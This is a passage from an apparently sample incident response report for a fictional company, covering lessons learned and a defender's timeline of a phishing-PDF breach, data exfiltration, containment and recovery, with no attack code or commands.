management activities commenced to facilitate the implementation of network
access controls.

Tools and Technologies: Leveraging the capabilities of the existing Elastic
SIEM, advanced correlation rules will be implemented, specifically designed
to detect the tactics, techniques, and procedures (TTPs) identified in this

breach.

Lessons Learned

26

e Gap Analysis: The incident shed light on certain gaps, primarily around

network access controls, email filtering, network segregation, and user
training about potential phishing attempts with malicious documents.
Recommendations for Improvement: Initiatives around inventory and asset
management, email filtering, and improved security awareness training are
prioritized.

Future Strategy: A forward-looking strategy will involve more granular network
access controls and network segmentation, adopting a zero-trust security
model, and increasing investments in both security awareness training and

email filtering.



Annex A

Technical Timeline

Time Activity

April 22nd, One of the employees opened a malicious PDF document (cv.pdf) on

2019, WKSTO01.samplecorp.com, which exploited a known vulnerability in an outdated

00:27:27 version of Acrobat Reader. This led to the execution of a malicious payload that
established initial foothold on the system.

April 22nd, The unauthorized entity accessed various directories on WKSTO01.samplecorp.com

2019, containing both proprietary source code and API keys.

00:35:09

April 22nd, The unauthorized entity leveraged the initial access to perform reconnaissance on

2019, the internal network. They discovered a buffer overflow vulnerability in a proprietary

00:50:18 HR application running on HRO1.samplecorp.com. Using a crafted payload, they
exploited this vulnerability to gain unauthorized access to the HR system.

April 22nd, The unauthorized entity located an unencrypted database on HR01.samplecorp.com

2019, containing sensitive employee and partner data, including Social Security numbers

01:30:12 and salary information. They compressed this data and exfiltrated it to an external
server via a secure SSH tunnel.

April 22nd, SampleCorp's SOC and DFIR teams detected the unauthorized activities and

2019, immediately isolated WKSTO01.samplecorp.com and HR0O1.samplecorp.com from

02:30:11 the network using VLAN segmentation.

April 22nd, SampleCorp's SOC and DFIR teams plugged a host security solution to both

2019, WKSTO01.samplecorp.com and HR01.samplecorp.com to collect more data from

03:10:14 the affected systems.

April 22nd, The firewall rules were updated to block the known C2 IP address, effectively cutting

2019, off the unauthorized entity's remote access.

03:43:34
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April 22nd,
2019,
04:11:00

April 22nd,
2019,
04:30:00

April 22nd,
2019,
05:01:08

April 22nd,
2019,
05:05:08

April 22nd,
2019,
05:21:20

April 22nd,
2019,
05:58:50

April 22nd,
2019,
06:33:44
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A specialized malware removal tool was used to clean both
WKSTO01.samplecorp.com and HR01.samplecorp.com of the deployed malware.

All systems, starting with WKSTO01.samplecorp.com were updated to the latest
version of Acrobat Reader, mitigating the vulnerability that led to the initial
compromise.

The API keys that were accessed by the unauthorized entity have been revoked.

The login credentials of the user who accessed the cv.pdf file, as well as those of
users who have recently signed into both WKST01.samplecorp.com and
HRO1.samplecorp.com, have been reset.

After ensuring that WKSTO01.samplecorp.com was malware-free, the SOC team
restored the system from a verified backup.

After ensuring that HR01.samplecorp.com was malware-free, the SOC team
restored the system from a verified backup.

The development team rolled out an emergency patch for the buffer overflow
vulnerability in the proprietary HR application, which was then deployed to
HRO1.samplecorp.com.
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